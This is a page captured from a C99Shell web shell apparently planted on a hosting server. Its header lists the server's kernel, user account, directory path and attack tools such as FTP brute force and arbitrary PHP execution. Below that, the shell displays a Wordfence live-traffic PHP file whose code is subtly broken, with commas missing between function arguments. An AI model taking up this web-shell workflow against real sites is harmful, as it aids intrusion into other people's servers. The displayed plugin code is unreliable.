!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordfence/lib/   drwxr-xr-x
Free 180.55 GB of 490.84 GB (36.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     menu_tools_livetraffic.php (31.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
if (!defined('WORDFENCE_VERSION')) { exit; }
$w = new wfConfig();
?>
<script type="application/javascript">
    (function($) {
        $(function() {
            document.title = "<?php esc_attr_e('Live Traffic''wordfence'); ?>" + " \u2039 " + WFAD.basePageName;
        });
    })(jQuery);
</script>
<div class="wf-section-title">
    <h2><?php _e('Live Traffic''wordfence'?></h2>
    <span><?php printf(__('<a href="%s" target="_blank" rel="noopener noreferrer" class="wf-help-link">Learn more<span class="wf-hidden-xs"> about Live Traffic</span></a>''wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_TOOLS_LIVE_TRAFFIC)); ?>
        <i class="wf-fa wf-fa-external-link" aria-hidden="true"></i></span>
</div>

<?php if (wfConfig::liveTrafficEnabled() && wfConfig::get('liveActivityPauseEnabled')): ?>
    <div id="wfLiveTrafficOverlayAnchor"></div>
    <div id="wfLiveTrafficDisabledMessage">
        <h2><?php _e('Live Updates Paused''wordfence'?><br/>
            <small><?php _e('Click inside window to resume''wordfence'?></small>
        </h2>
    </div>
<?php endif ?>

<p><?php _e("Wordfence Live Traffic shows you what is happening on your site in real-time. This includes a lot of data that javascript based analytics packages like Google analytics do not show you. The reason they can't show you this data is because Wordfence logs your traffic at the server level. So for example, we will show you visits from Google's crawlers, Bing's crawlers, hack attempts and other visits that don't execute javascript. Whereas Google analytics and other analytics packages will only show you visits from web browsers that are usually operated by a human."'wordfence'?></p>

<div class="wordfenceModeElem" id="wordfenceMode_liveTraffic"></div>

<?php
echo wfView::create('tools/options-group-live-traffic', array(
    
'stateKey' => 'live-traffic-options',
    
'showControls' => true,
))->
render();
?>
<div id="wf-live-traffic" class="wf-row<?php echo wfConfig::get('liveTraf_displayExpandedRecords') ? ' wf-live-traffic-display-expanded' '' ?>">
    <div class="wf-col-xs-12">
        <div class="wf-block wf-active">
            <div class="wf-block-content">
                <div class="wf-container-fluid">
                    <div class="wf-row">
                        <?php
                        
// $rightRail = new wfView('marketing/rightrail');
                        // echo $rightRail;
                        
?>
                        <div class="<?php echo wfStyle::contentClasses(); ?>">
                            <?php
                            $overridden 
false;
                            if (!
wfConfig::liveTrafficEnabled($overridden)):
                                
?>
                                <div id="wordfenceLiveActivityDisabled"><p>
                                        <strong><?php _e('Live activity is disabled''wordfence'?><?php
                                            
if ($overridden) {
                                                
_e(' by the host''wordfence');
                                            } 
?>.</strong> <?php _e('Login and firewall activity will still appear below.''wordfence'?></p>
                                </div>
                            <?php endif ?>
                            <div id="wf-live-traffic-legend">
                                <ul>
                                    <li class="wfHuman"><?php _e('Human''wordfence'?></li>
                                    <li class="wfBot"><?php _e('Bot''wordfence'?></li>
                                    <li class="wfNotice"><?php _e('Warning''wordfence'?></li>
                                    <li class="wfBlocked"><?php _e('Blocked''wordfence'?></li>
                                </ul>
                            </div>
                            <div class="wf-row wf-add-bottom-small">
                                <div class="wf-col-xs-12" id="wf-live-traffic-legend-wrapper">

                                    <form data-bind="submit: reloadListings">

                                        <ul class="wf-live-traffic-controls">
                                            <li class="wf-live-traffic-filter">
                                                <div class="wf-padding-no-left"><select id="wf-lt-preset-filters" data-bind="options: presetFiltersOptions, optionsText: presetFiltersOptionsText, value: selectedPresetFilter"></select></div>
                                                &nbsp;&nbsp;
                                                <input id="wf-live-traffic-filter-show-advanced" class="wf-option-checkbox" data-bind="checked: showAdvancedFilters" type="checkbox">
                                                <label for="wf-live-traffic-filter-show-advanced">
                                                    <?php _e('Show Advanced Filters''wordfence'?>
                                                </label>
                                            </li>
                                            <li class="wf-live-traffic-show-expanded">
                                                <ul class="wf-option wf-option-toggled-boolean-switch wf-option-no-spacing" data-option="liveTraf_displayExpandedRecords" data-enabled-value="1" data-disabled-value="0" data-original-value="<?php echo wfConfig::get('liveTraf_displayExpandedRecords') ? 0?>">
                                                    <li class="wf-boolean-switch<?php echo wfConfig::get('liveTraf_displayExpandedRecords') ? ' wf-active' ''?>"><a href="#" class="wf-boolean-switch-handle"></a></li>
                                                    <li class="wf-option-title wf-padding-add-left wf-no-right wf-padding-no-right">
                                                        <?php echo __('Expand All Results''wordfence'); ?>
                                                    </li>
                                                </ul>
                                            </li>
                                        </ul>

                                        <div data-bind="visible: showAdvancedFilters" id="wf-lt-advanced-filters">
                                            <div class="wf-live-traffic-filter-detail">
                                                <div>
                                                    <div data-bind="foreach: filters">
                                                        <div class="wf-live-traffic-filter-item">
                                                            <div class="wf-live-traffic-filter-item-parameters">
                                                                <div>
                                                                    <select name="param[]" class="wf-lt-advanced-filters-param" data-bind="options: filterParamOptions, optionsText: filterParamOptionsText, value: selectedFilterParamOptionValue, optionsCaption: 'Filter...'"></select>
                                                                </div>
                                                                <div data-bind="visible: selectedFilterParamOptionValue() && selectedFilterParamOptionValue().type() != 'bool'">
                                                                    <select name="operator[]" class="wf-lt-advanced-filters-operator" data-bind="options: filterOperatorOptions, optionsText: filterOperatorOptionsText, value: selectedFilterOperatorOptionValue"></select>
                                                                </div>
                                                                <div data-bind="attr: {colSpan: (selectedFilterParamOptionValue() && selectedFilterParamOptionValue().type() == 'bool' ? 2 : 1)}" class="wf-lt-advanced-filters-value-cell">
                                                                    <span data-bind="if: selectedFilterParamOptionValue() && selectedFilterParamOptionValue().type() == 'enum'">
                                                                        <select data-bind="options: selectedFilterParamOptionValue().values, optionsText: selectedFilterParamOptionValue().optionsText, value: value"></select>
                                                                    </span>

                                                                    <span data-bind="if: selectedFilterParamOptionValue() && selectedFilterParamOptionValue().type() == 'text'">
                                                                        <input data-bind="value: value" type="text">
                                                                    </span>

                                                                    <span data-bind="if: selectedFilterParamOptionValue() && selectedFilterParamOptionValue().type() == 'bool'">
                                                                        <label>Yes <input data-bind="checked: value" type="radio" value="1"></label>
                                                                        <label>No <input data-bind="checked: value" type="radio" value="0"></label>
                                                                    </span>
                                                                </div>
                                                            </div>
                                                            <div>
                                                                <!--<button data-bind="click: $root.removeFilter" type="button" class="wf-btn wf-btn-default">Remove</button> -->
                                                                <a href="#" data-bind="click: $root.removeFilter" class="wf-live-traffic-filter-remove"><i class="wf-ion-trash-a"></i></a>
                                                            </div>
                                                        </div>
                                                    </div>
                                                    <div>
                                                        <div class="wf-pad-small">
                                                            <button type="button" class="wf-btn wf-btn-default" data-bind="click: addFilter">
                                                                Add Filter
                                                            </button>
                                                        </div>
                                                    </div>
                                                </div>
                                                <div class="wf-form wf-form-horizontal">
                                                    <div class="wf-form-group">
                                                        <label for="wf-live-traffic-from" class="wf-col-sm-2">From:&nbsp;</label>
                                                        <div class="wf-col-sm-10">
                                                            <input placeholder="Start date" id="wf-live-traffic-from" type="text" class="wf-datetime" data-bind="value: startDate, datetimepicker: null, datepickerOptions: { timeFormat: 'hh:mm tt z' }">
                                                            <button data-bind="click: startDate('')" class="wf-btn wf-btn-default wf-btn-sm" type="button">Clear</button>
                                                        </div>
                                                    </div>
                                                    <div class="wf-form-group">
                                                        <label for="wf-live-traffic-to" class="wf-col-sm-2">To:&nbsp;</label>
                                                        <div class="wf-col-sm-10">
                                                            <input placeholder="End date" id="wf-live-traffic-to" type="text" class="wf-datetime" data-bind="value: endDate, datetimepicker: null, datepickerOptions: { timeFormat: 'hh:mm tt z' }">
                                                            <button data-bind="click: endDate('')" class="wf-btn wf-btn-default wf-btn-sm" type="button">Clear</button>
                                                        </div>
                                                    </div>
                                                    <div class="wf-form-group">
                                                        <label for="wf-live-traffic-group-by" class="wf-col-sm-2">Group&nbsp;By:&nbsp;</label>
                                                        <div class="wf-col-sm-10">
                                                            <select id="wf-live-traffic-group-by" name="groupby" class="wf-lt-advanced-filters-groupby" data-bind="options: filterGroupByOptions, optionsText: filterGroupByOptionsText, value: groupBy, optionsCaption: 'None'"></select>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </form>
                                </div>
                            </div>
                            <div class="wf-row">
                                <div class="wf-col-xs-12">
                                    <div id="wf-live-traffic-group-by" class="wf-block" data-bind="if: groupBy(), visible: groupBy()">
                                        <ul class="wf-filtered-traffic wf-block-list" data-bind="foreach: listings">
                                            <li class="wf-flex-row wf-padding-add-top wf-padding-add-bottom">
                                                <div class="wf-flex-row-1">
                                                    <!-- ko if: $root.groupBy().param() == 'ip' -->
                                                    <div data-bind="if: loc()">
                                                        <img data-bind="attr: { src: '<?php echo wfUtils::getBaseURL() . 'images/flags/'?>' + loc().countryCode.toLowerCase() + '.png',
                                                                    alt: loc().countryName, title: loc().countryName }" width="16" height="11"
                                                                class="wfFlag"/>
                                                        <a data-bind="text: (loc().city ? loc().city + ', ' : '') + loc().countryName,
                                                                    attr: { href: 'http://maps.google.com/maps?q=' + loc().lat + ',' + loc().lon + '&z=6' }"
                                                                target="_blank" rel="noopener noreferrer"></a>
                                                    </div>
                                                    <div data-bind="if: !loc()">
                                                        An unknown location at IP
                                                        <span data-bind="text: IP" target="_blank" rel="noopener noreferrer"></span>
                                                    </div>

                                                    <div>
                                                        <strong>IP:</strong>
                                                        <span data-bind="text: IP" target="_blank" rel="noopener noreferrer"></span>
                                                    </div>
                                                    <div>
                                                        <span class="wfReverseLookup"><span data-bind="text: IP" style="display:none;"></span></span>
                                                    </div>
                                                    <!-- /ko -->
                                                    <!-- ko if: $root.groupBy().param() == 'type' -->
                                                    <div>
                                                        <strong>Type:</strong>
                                                        <span data-bind="if: jsRun() == '1'">Human</span>
                                                        <span data-bind="if: jsRun() == '0'">Bot</span>
                                                    </div>
                                                    <!-- /ko -->
                                                    <!-- ko if: $root.groupBy().param() == 'user_login' -->
                                                    <div>
                                                        <strong>Username:</strong>
                                                        <span data-bind="text: username()"></span>
                                                    </div>
                                                    <!-- /ko -->
                                                    <!-- ko if: $root.groupBy().param() == 'statusCode' -->
                                                    <div>
                                                        <strong>HTTP Response Code:</strong>
                                                        <span data-bind="text: statusCode()"></span>
                                                    </div>
                                                    <!-- /ko -->
                                                    <!-- ko if: $root.groupBy().param() == 'action' -->
                                                    <div>
                                                        <strong>Firewall Response:</strong>
                                                        <span data-bind="text: firewallAction()"></span>
                                                    </div>
                                                    <!-- /ko -->
                                                    <!-- ko if: $root.groupBy().param() == 'url' -->
                                                    <div>
                                                        <strong>URL:</strong>
                                                        <span data-bind="text: displayURL()"></span>
                                                    </div>
                                                    <!-- /ko -->
                                                    <div>
                                                        <strong>Last Hit:</strong> <span
                                                                data-bind="attr: { 'data-timestamp': ctime, text: 'Last hit was ' + ctime() + ' ago.' }"
                                                                class="wfTimeAgo wfTimeAgo-timestamp"></span>
                                                    </div>
                                                    <!-- ko if: $root.groupBy().param() == 'ip' -->
                                                    <div class="wf-add-top-small">
                                                        <span data-bind="if: blocked()">
                                                            <a class="wf-btn wf-btn-default wf-btn-sm" data-bind="click: unblockIP">Unblock IP</a>
                                                        </span>
                                                        <span data-bind="if: rangeBlocked()">
                                                            <a class="wf-btn wf-btn-default wf-btn-sm" data-bind="click: unblockNetwork">Unblock range</a>
                                                        </span>
                                                        <span data-bind="if: !blocked() && !rangeBlocked()">
                                                            <a class="wf-btn wf-btn-default wf-btn-sm" data-bind="click: blockIP">Block IP</a>
                                                        </span>
                                                    </div>
                                                    <!-- /ko -->
                                                </div>
                                                <div class="wf-flex-row-0 wf-padding-add-left">
                                                    <span class="wf-filtered-traffic-hits" data-bind="text: hitCount"></span> hits
                                                </div>
                                            </li>

                                        </ul>
                                    </div>

                                    <div id="wf-live-traffic-no-group-by" data-bind="if: !groupBy()">
                                        <table class="wf-striped-table">
                                            <thead>
                                            <tr>
                                                <th>Type</th>
                                                <th>Location</th>
                                                <th>Page Visited</th>
                                                <th>Time</th>
                                                <th>IP Address</th>
                                                <th>Hostname</th>
                                                <th>Response</th>
                                                <th>View</th>
                                            </tr>
                                            </thead>
                                            <tbody id="wf-lt-listings" class="wf-filtered-traffic" data-bind="foreach: listings">
                                            <tr data-bind="click: toggleDetails, css: { odd: ($index() % 2 == 1), even: ($index() % 2 == 0), 'wf-details-open': showDetails, highlighted: highlighted }" class="wf-summary-row">
                                                <td class="wf-center">
                                                    <span data-bind="attr: { 'class': cssClasses }"></span>
                                                </td>
                                                <td>
                                                    <span class="wf-flex-horizontal" data-bind="if: loc()">
                                                        <img data-bind="attr: { src: '<?php echo wfUtils::getBaseURL() . 'images/flags/'?>' + loc().countryCode.toLowerCase() + '.png',
                                                            alt: loc().countryName, title: loc().countryName }" width="16"
                                                                height="11"
                                                                class="wfFlag"/>
                                                        <span class="wf-padding-add-left-small" data-bind="text: (loc().city ? loc().city + ', ' : '') + loc().countryName"></span>
                                                    </span>
                                                    <span class="wf-flex-horizontal" data-bind="if: !loc()">
                                                        <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 64.22 64.37" class="wfFlag wf-flag-unspecified"><path d="M64,28.21a30.32,30.32,0,0,0-5.8-14.73A31.6,31.6,0,0,0,37.43.56C35.7.26,33.94.18,32.2,0h-.35C30.22.18,28.58.3,27,.55A32.14,32.14,0,0,0,.2,35.61,31.4,31.4,0,0,0,10.4,55.87a31.24,31.24,0,0,0,25,8.33,30.5,30.5,0,0,0,18.94-8.79C62,47.94,65.15,38.8,64,28.21ZM57.21,44.68a23.94,23.94,0,0,1-2.3-5.08c-.66-2.45-2.27-.08-2.4,1.52s-1.2,2.8-3.33.4-2.54-1.87-3.2-1.87-1.87,1.6-1.6,9.07c.19,5.33,2.29,6.18,3.67,6.56a27.16,27.16,0,0,1-8.78,4A27.55,27.55,0,0,1,7.85,45.13C2.27,34.4,5,22.26,10.67,15.57c.15,1.21.3,2.29.43,3.37a27.63,27.63,0,0,1-.52,8.79,4.39,4.39,0,0,0,.08,1.94,1.3,1.3,0,0,0,.94.76c.27,0,.75-.41.86-.73a8.27,8.27,0,0,0,.27-1.86c0-.44,0-.89.07-1.58a10.67,10.67,0,0,1,1.06.86c.7.7,1.4,1.4,2,2.15a2.11,2.11,0,0,1,.56,1.21,3.44,3.44,0,0,0,.83,2.13,12.21,12.21,0,0,1,1.07,2.57c.14.37.17.78.33,1.13a2,2,0,0,0,1.8,1.32c1,.07,1.32.44,1.46,1.43l-.74.08c-1.17.11-1.75.65-1.71,1.83a8.43,8.43,0,0,0,2.69,6c.48.45,1,.87,1.46,1.33a3.35,3.35,0,0,1,.92,3.75,12.18,12.18,0,0,0-.69,2.09,6,6,0,0,0,.06,2.23c.18.75.1,2.37.86,2.24,1.36-.24,2.14,0,2.25-1.49a1.22,1.22,0,0,0-.08-.6c-.4-1.42,1.42-5.47,2.52-6.2a27.11,27.11,0,0,0,2.73-2,3.6,3.6,0,0,0,1.26-4,3.22,3.22,0,0,1,1.14-3.59,4.54,4.54,0,0,0,1.71-3.65c-.08-1.53-1.07-2.63-2.37-2.47a9.21,9.21,0,0,0-1.87.59,20.62,20.62,0,0,1-2.72.9c-1.31.23-2.11-.62-2.69-1.66-.47-.83-.63-.9-1.44-.38s-1.37.89-2.08,1.28S22,35.58,21.45,35a5.79,5.79,0,0,0-1.24-.88c-.31-.19-.73-.24-1-.48s-.8-.8-.75-1.15a1.69,1.69,0,0,1,.95-1.1,14.36,14.36,0,0,1,2.29-.51,7.33,7.33,0,0,0,1.22-.33c.52-.21.5-.56.1-.89a3.26,3.26,0,0,0-.69-.37l-3.52-1.39a4.74,4.74,0,0,1-.84-.43c-.74-.49-.83-1-.16-1.61,2.64-2.33,5.72-3,8.45.08.84,1,1.42,2.16,2.22,3.16a12.5,12.5,0,0,0,2.15,2.15,1.62,1.62,0,0,0,1.44.09,1.15,1.15,0,0,0,.29-1.56,8.43,8.43,0,0,0-.86-1.41,5.16,5.16,0,0,1,1.59-7.52,4.38,4.38,0,0,0,2.53-2.58c-.58.16-1,.26-1.42.39-2.3.71-.7-1,.36-1.31.65-.18-.58-.67-.58-.67s.82-.28,1.69-.65a6.85,6.85,0,0,0,1.7-.94,3.79,3.79,0,0,0,.66-1.17l-.16-.18-1.83.24c-1,.11-1.27-.09-1.37-1.14a1,1,0,0,0-1.48-.73c-.45.25-.85.61-1.29.9-1,.66-1.78.39-2.19-.75-.23-.68-.57-.81-1.19-.42-.31.18-.58.47-.89.64a11.53,11.53,0,0,1-1.62.79c-.55.19-1.21.33-1.58-.27a1.25,1.25,0,0,1,.46-1.68A14.78,14.78,0,0,1,27,10c1-.56,2.07-1,3-1.65a1.78,1.78,0,0,0,.79-2.07.88.88,0,0,0-1.37-.65c-.56.28-1.06.72-1.63,1a2.81,2.81,0,0,1-1.41.08c-.17,0-.35-.49-.35-.76s.31-.43.51-.46c1.4-.22,2.81-.41,4.22-.57a.76.76,0,0,1,.58.25,6.84,6.84,0,0,0,3.6,2.15c1.15.34,1.31.18,1.47-1,1.48-.34,3-1,4.46-.09A14.4,14.4,0,0,1,43.14,8c.18.17.07.7,0,1s-.36.87-.48,1.33a1.2,1.2,0,0,0,1.26,1.56c.29,0,.57-.07.86-.08.85,0,1.14.28,1.07,1.13-.11,1.21.09,1.35,1.31,1.15a2.07,2.07,0,0,1,1.67.64c1.14.86,2,.54,2.33-.86,0-.16,0-.32.06-.47.14-.63.49-.79.92-.35.9,1,1.74,2,2.66,3a3,3,0,0,0-.8,3.07,5.19,5.19,0,0,1-.55,3.27A24.63,24.63,0,0,0,52.2,25.5c-.45,1.57.06,2.3,1.66,2.65s1.78.64,1.84,2.14a4.85,4.85,0,0,0,2.92,4.35c.4.19.82.34,1.23.51a25.22,25.22,0,0,1-2.64,9.53Z"/></svg> <span class="wf-padding-add-left-small">Unspecified</span>
                                                    </span>
                                                </td>
                                                <td>
                                                    <span class="wf-lt-url wf-split-word-xs"
                                                            data-bind="text: displayURLShort, attr: { title: URL }"></span>
                                                </td>
                                                <td class="wf-nowrap" data-bind="text: timestamp"></td>
                                                <td>
                                                    <span data-bind="attr: { title: IP }, text: $root.trimIP(IP())"></span>
                                                </td>
                                                <td>
                                                    <span class="wfReverseLookup" data-reverse-lookup-template="wf-live-traffic-hostname-template">
                                                        <span data-bind="text: IP" style="display:none;"></span>
                                                    </span>
                                                </td>
                                                <td data-bind="text: statusCode"></td>
                                                <td class="wf-live-traffic-show-details">
                                                    <span class="wf-ion-eye"></span>
                                                    <span class="wf-ion-eye-disabled"></span>
                                                </td>
                                            </tr>
                                            <tr data-bind="css: {
                                                'wf-details-visible': showDetails,
                                                'wf-details-hidden': !(showDetails()),
                                                highlighted: highlighted,
                                                odd: ($index() % 2 == 1), even: ($index() % 2 == 0) }" class="wf-details-row">
                                                <td colspan="8" data-bind="attr: { id: ('wfActEvent_' + id()) }" class="wf-live-traffic-details">
                                                    <div class="wf-live-traffic-activity-detail-wrapper">
                                                        <div class="wf-live-traffic-activity-type">
                                                            <div data-bind="attr: { 'class': typeIconClass }"></div>
                                                            <div data-bind="text: typeText"></div>
                                                        </div>
                                                        <div class="wf-live-traffic-activity-detail">
                                                            <h2>Activity Detail</h2>
                                                            <div>
                                                                <span data-bind="if: action() != 'loginOK' && action() != 'loginFailValidUsername' && action() != 'loginFailInvalidUsername' && user()">
                                                                    <span data-bind="html: user().avatar" class="wfAvatar"></span>
                                                                    <a data-bind="attr: { href: user().editLink }, text: user().display_name"
                                                                            target="_blank" rel="noopener noreferrer"></a>
                                                                </span>
                                                                <span data-bind="if: loc()">
                                                                    <span data-bind="if: action() != 'loginOK' && action() != 'loginFailValidUsername' && action() != 'loginFailInvalidUsername' && user()"> in</span>
                                                                    <img data-bind="attr: { src: '<?php echo wfUtils::getBaseURL() . 'images/flags/'?>' + loc().countryCode.toLowerCase() + '.png',
                                                                        alt: loc().countryName, title: loc().countryName }" width="16"
                                                                            height="11"
                                                                            class="wfFlag"/>
                                                                    <a data-bind="text: (loc().city ? loc().city + ', ' : '') + loc().countryName,
                                                                        attr: { href: 'http://maps.google.com/maps?q=' + loc().lat + ',' + loc().lon + '&z=6' }"
                                                                            target="_blank" rel="noopener noreferrer"></a>
                                                                </span>
                                                                <span data-bind="if: !loc()">
                                                                    <span data-bind="text: action() != 'loginOK' && action() != 'loginFailValidUsername' && action() != 'loginFailInvalidUsername' && user() ? 'at an' : 'An'"></span> unknown location at IP
                                                                    <a data-bind="text: IP, attr: { href: WFAD.makeIPTrafLink(IP()) }"
                                                                            target="_blank" rel="noopener noreferrer"></a>
                                                                </span>
                                                                <span data-bind="if: referer()">
                                                                    <span data-bind="if: extReferer()">
                                                                        arrived from <a data-bind="text: LiveTrafficViewModel.truncateText(referer(), 100), attr: { title: referer, href: referer }"
                                                                                target="_blank" rel="noopener noreferrer"
                                                                                class="wf-split-word-xs"></a> and
                                                                    </span>
                                                                    <span data-bind="if: !extReferer()">
                                                                        left <a data-bind="text: LiveTrafficViewModel.truncateText(referer(), 100), attr: { title: referer, href: referer }"
                                                                                target="_blank" rel="noopener noreferrer"
                                                                                class="wf-split-word-xs"></a> and
                                                                    </span>
                                                                </span>
                                                                <span data-bind="if: statusCode() == 404">
                                                                    tried to access <span style="color: #F00;">non-existent page</span>
                                                                </span>

                                                                <span data-bind="if: statusCode() == 200 && !action()">
                                                                    visited
                                                                </span>
                                                                <span data-bind="if: statusCode() == 403 || statusCode() == 503">
                                                                    was <span data-bind="text: firewallAction" style="color: #F00;"></span> at
                                                                </span>

                                                                <span data-bind="if: action() == 'loginOK'">
                                                                    logged in successfully as "<strong data-bind="text: username"></strong>".
                                                                </span>
                                                                <span data-bind="if: action() == 'logout'">
                                                                    logged out successfully.
                                                                </span>
                                                                <span data-bind="if: action() == 'lostPassword'">
                                                                    requested a password reset.
                                                                </span>
                                                                <span data-bind="if: action() == 'loginFailValidUsername'">
                                                                    attempted a failed login as "<strong data-bind="text: username"></strong>".
                                                                </span>
                                                                <span data-bind="if: action() == 'loginFailInvalidUsername'">
                                                                    attempted a failed login using an invalid username "<strong
                                                                            data-bind="text: username"></strong>".
                                                                </span>
                                                                <span data-bind="if: action() == 'user:passwordReset'">
                                                                    changed their password.
                                                                </span>
                                                                <a class="wf-lt-url wf-split-word-xs"
                                                                        data-bind="text: displayURL, attr: { href: URL, title: URL }"
                                                                        target="_blank" rel="noopener noreferrer"></a>
                                                            </div>
                                                            <div>
                                                                <span data-bind="text: timeAgo, attr: { 'data-timestamp': ctime }"
                                                                        class="wfTimeAgo-timestamp"></span>&nbsp;&nbsp;
                                                            </div>
                                                            <div>
                                                                <strong>IP:</strong> <span data-bind="text: IP"></span>
                                                                <span class="wfReverseLookup">
                                                                    <span data-bind="text: IP" style="display:none;"></span>
                                                                </span>
                                                                <span data-bind="if: blocked()">
                                                                    <a class="wf-btn wf-btn-default wf-btn-sm wf-block-ip-btn"
                                                                            data-bind="click: unblockIP">
                                                                        Unblock IP
                                                                    </a>
                                                                </span>
                                                                <span data-bind="if: rangeBlocked()">
                                                                    <a class="wf-btn wf-btn-default wf-btn-sm wf-block-ip-btn"
                                                                            data-bind="click: unblockNetwork">Unblock range
                                                                    </a>
                                                                </span>
                                                                <span data-bind="if: !blocked() && !rangeBlocked()">
                                                                    <a class="wf-btn wf-btn-default wf-btn-sm wf-block-ip-btn"
                                                                            data-bind="click: blockIP">
                                                                        Block IP
                                                                    </a>
                                                                </span>
                                                            </div>
                                                            <div data-bind="visible: (jQuery.inArray(parseInt(statusCode(), 10), [403, 503, 404]) !== -1)">
                                                                <strong>Human/Bot:</strong> <span data-bind="text: (jsRun() === '1' ? 'Human' : 'Bot')"></span>
                                                            </div>
                                                            <div data-bind="if: browser() && browser().browser != 'Default Browser'">
                                                                <strong>Browser:</strong>
                                                                <span data-bind="text: browser().browser +
                                                                (browser().version ? ' version ' + browser().version : '') +
                                                                (browser().platform  && browser().platform != 'unknown' ? ' running on ' + browser().platform : '')
                                                                "></span>
                                                            </div>
                                                            <div class="wf-split-word" data-bind="text: UA"></div> 
                                                            <div class="wf-live-traffic-actions">
                                                                <span data-bind="if: blocked()">
                                                                    <a class="wf-btn wf-btn-default wf-btn-sm"
                                                                            data-bind="click: unblockIP">
                                                                        Unblock IP
                                                                    </a>
                                                                </span>
                                                                <span data-bind="if: rangeBlocked()">
                                                                    <a class="wf-btn wf-btn-default wf-btn-sm"
                                                                            data-bind="click: unblockNetwork">Unblock range
                                                                    </a>
                                                                </span>
                                                                <span data-bind="if: !blocked() && !rangeBlocked()">
                                                                    <a class="wf-btn wf-btn-default wf-btn-sm"
                                                                            data-bind="click: blockIP">
                                                                        Block IP
                                                                    </a>
                                                                </span>
                                                                <a class="wf-btn wf-btn-default wf-btn-sm" data-bind="click: showWhoisOverlay"
                                                                        target="_blank" rel="noopener noreferrer">Run Whois</a>
                                                                <a class="wf-btn wf-btn-default wf-btn-sm"
                                                                        data-bind="click: showRecentTraffic" target="_blank" rel="noopener noreferrer">
                                                                    <span class="wf-hidden-xs"><?php _e('See recent traffic''wordfence'); ?></span><span class="wf-visible-xs"><?php _e('Recent''wordfence'); ?></span>
                                                                </a>
                                                                <span data-bind="if: action() == 'blocked:waf'">
                                                                    <a class="wf-btn wf-btn-default wf-btn-sm"
                                                                            data-bind="click: function () { $root.whitelistWAFParamKey(actionData().path, actionData().paramKey, actionData().failedRules) }"
                                                                            title="If this is a false positive, you can exclude this parameter from being filtered by the firewall">
                                                                        Whitelist param from Firewall
                                                                    </a>
                                                                    <?php if (WFWAF_DEBUG): ?>
                                                                        <a class="wf-btn wf-btn-default wf-btn-sm"
                                                                                data-bind="attr: { href: '<?php echo esc_js(home_url()) ?>?_wfsf=debugWAF&nonce=' + WFAD.nonce + '&hitid=' + id() }" target="_blank" rel="noopener noreferrer">
                                                                            Debug this Request
                                                                        </a>
                                                                    <?php endif ?>
                                                            </span>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </td>
                                            </tr>
                                            </tbody>
                                        </table>
                                    </div>
                                    <div class="wf-live-traffic-none" data-bind="if: listings().length == 0">
                                        No requests to report yet.
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<script type="application/javascript">
    (function($) {
        $(function() {
            $('.wf-option.wf-option-toggled-boolean-switch[data-option="liveTraf_displayExpandedRecords"]').on('change', function() {
                delete WFAD.pendingChanges['liveTraf_displayExpandedRecords'];
                var isOn = $(this).find('.wf-boolean-switch').hasClass('wf-active');
                WFAD.setOption($(this).data('option'), (isOn ? $(this).data('enabledValue') : $(this).data('disabledValue')), function() {
                    $('#wf-live-traffic').toggleClass('wf-live-traffic-display-expanded', isOn);
                });
            });
        });
    })(jQuery);
</script>

<div id="wf-live-traffic-util-overlay-wrapper" style="display: none">
    <div class="wf-live-traffic-util-overlay">
        <div class="wf-live-traffic-util-overlay-header"></div>
        <div class="wf-live-traffic-util-overlay-body"></div>
        <span class="wf-live-traffic-util-overlay-close wf-ion-android-close"></span>
    </div>
</div>

<div id="wfrawhtml"></div>

<script type="text/x-jquery-template" id="wf-live-traffic-hostname-template">
    <span title="${ip}">${(ip && ip.length > 22) ? '...' + ip.substring(ip.length - 22) : ip}</span>
</script>

<?php if (wfOnboardingController::willShowNewTour(wfOnboardingController::TOUR_LIVE_TRAFFIC)): ?>
    <script type="application/javascript">
        (function($) {
            $(function() {
                WFAD.tour1 = function() {
                    WFAD.tour('wfNewTour1', 'wf-live-traffic', 'bottom', 'bottom', null, WFAD.tourComplete);
                };
                WFAD.tourComplete = function() { WFAD.tourFinish('<?php echo esc_attr(wfOnboardingController::TOUR_LIVE_TRAFFIC); ?>'); };
                
                <?php if (wfOnboardingController::shouldShowNewTour(wfOnboardingController::TOUR_LIVE_TRAFFIC)): ?>
                if (!WFAD.isSmallScreen) { WFAD.tour1(); }
                <?php endif; ?>
            });
        })(jQuery);
    </script>

    <script type="text/x-jquery-template" id="wfNewTour1">
        <div>
            <h3><?php _e('Live Traffic''wordfence'); ?></h3>
            <p><?php _e('Live traffic defaults to a summary view. Details are viewable by clicking anywhere within the summary record. To switch to the expanded view, click the <strong>Expand All Records</strong> switch.''wordfence'); ?></p>
            <div class="wf-pointer-footer">
                <ul class="wf-tour-pagination">
                    <li class="wf-active">&bullet;</li>
                </ul>
                <div id="wf-tour-continue"><a href="#" class="wf-onboarding-btn wf-onboarding-btn-primary"><?php _e('Got it''wordfence'); ?></a></div>
            </div>
            <div id="wf-tour-close"><a href="#"><i class="wf-fa wf-fa-times-circle" aria-hidden="true"></i></a></div>
        </div>
    </script>
<?php endif; ?>

<?php if (wfOnboardingController::willShowUpgradeTour(wfOnboardingController::TOUR_LIVE_TRAFFIC)): ?>
    <script type="application/javascript">
        (function($) {
            $(function() {
                WFAD.tour1 = function() {
                    WFAD.tour('wfUpgradeTour1', 'wf-live-traffic', 'bottom', 'bottom', null, WFAD.tourComplete);
                };
                WFAD.tourComplete = function() { WFAD.tourFinish('<?php echo esc_attr(wfOnboardingController::TOUR_LIVE_TRAFFIC); ?>'); };
                
                <?php if (wfOnboardingController::shouldShowUpgradeTour(wfOnboardingController::TOUR_LIVE_TRAFFIC)): ?>
